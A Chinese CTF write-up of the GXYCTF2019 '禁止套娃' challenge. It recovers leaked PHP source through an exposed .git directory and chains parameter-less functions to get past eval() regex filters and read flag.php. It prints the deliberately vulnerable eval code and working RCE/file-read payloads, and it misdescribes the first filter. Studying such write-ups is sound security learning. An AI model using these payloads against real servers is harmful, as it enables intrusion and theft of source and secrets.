【CTF Learning】禁止套娃--git泄漏+无参数利用绕正则

kee1ong

0x01 题目

GXYCTF2019-禁止套娃

进去一句话,啥都没有。扫个目录,/.git返回429
直接访问返回403,说明存在
image.png
直接访问:
image.png

在没有其他明显目录,且无hint的情况下。
考虑存在git泄漏。
常见的源码泄漏有.git与.svn,对于git泄漏我们可以使用Githack来拿下。
https://github.com/lijiejie/G...

果然存在,index.php源码到手
image.png

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

原来所谓禁止套娃就是指饶掉这三个正则。下面逐步分析。

0x02 分析详解

直接访问flag.php,无404但不回显。
那么我们的目的是,要求eval函数执行,并且执行读取flag.php的命令。
那么一个个if来分析

if1
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) 

要求必须用data://,filter://,php://,phar://等伪协议。
这样不可以用file://读取了。

if2
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) 

第二个正则关键在于\((?R)?\),(?R)表示引用当前表达式。
其中?引用是可选项,匹配成功后用NULL替换。
那么一个合法的表达式可以是a(b();)

if3
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

过滤一些函数。

下面列出一些函数,
1.scandir()
image.png
如果我们要看当前目录,需要给这个函数一个变量可以表示当前声明。
但这么做需要提前声明一个变量,显然不可行。
那么php中有没有类似常量来指当前目录呢?
2.一个常量
image.png
从上面可以看到,localeconv是一个数组,所以我们需要current取出数组中的单元,从而可以让scandir读取。这就是所谓无参数执行命令
但由于正则的限制,current需要换成其同名函数pos
image.png
构造一个payload的

/?exp=print\_r(scandir(pos(localeconv())));

成功读取到目录位置。现在问题是:如何读取数组的元素(输出)?
image.png

这就涉及到了php的数组指向函数
image.png-45.3kB

那么可以看到flag.php在倒数第二个位置,目前指针在0处。正常情况下是指不到第二个的。如何呢?
又是另一个函数:
image.png

那么,就可以用array_reverse()先反转,然后用next读取第二个,之后用highlight_file()读取即可

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

成功拿下:
image.png

0x03 反思

  • git泄漏
    这个用的还是非常多的(实战中)。同样常见的还有svn泄漏。
    工具利用即可,原理可以简单了解。
    http://xxlegend.com/2015/04/0...
  • 数组相关的函数
    可以发现php中,数组是很重要的一部分。小到md5强类型绕过,再到反序列化构造,一些rce的回显都需要对数组进行处理。
    个人感觉是因为php很多函数的回显都是基于数组的。所以往往问题就出现在这里。
    建议直接扫一遍php手册。虽然很多,但是适当总结还是必要的。后续我在补吧。
  • 无参数函数绕过
    个人觉得这是命令执行/文件读取中干正则的好思路之一,正好刷题遇到了就边学边写记录下。希望有用。

    一题一个知识点,累觉不爱。

0x04 参考

http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/#comment-15

http://xxlegend.com/2015/04/01/SVN和GIT信息泄漏利用原理及现状/
阅读 2.7k
1 声望
1 粉丝
0 条评论
1 声望
1 粉丝
文章目录
宣传栏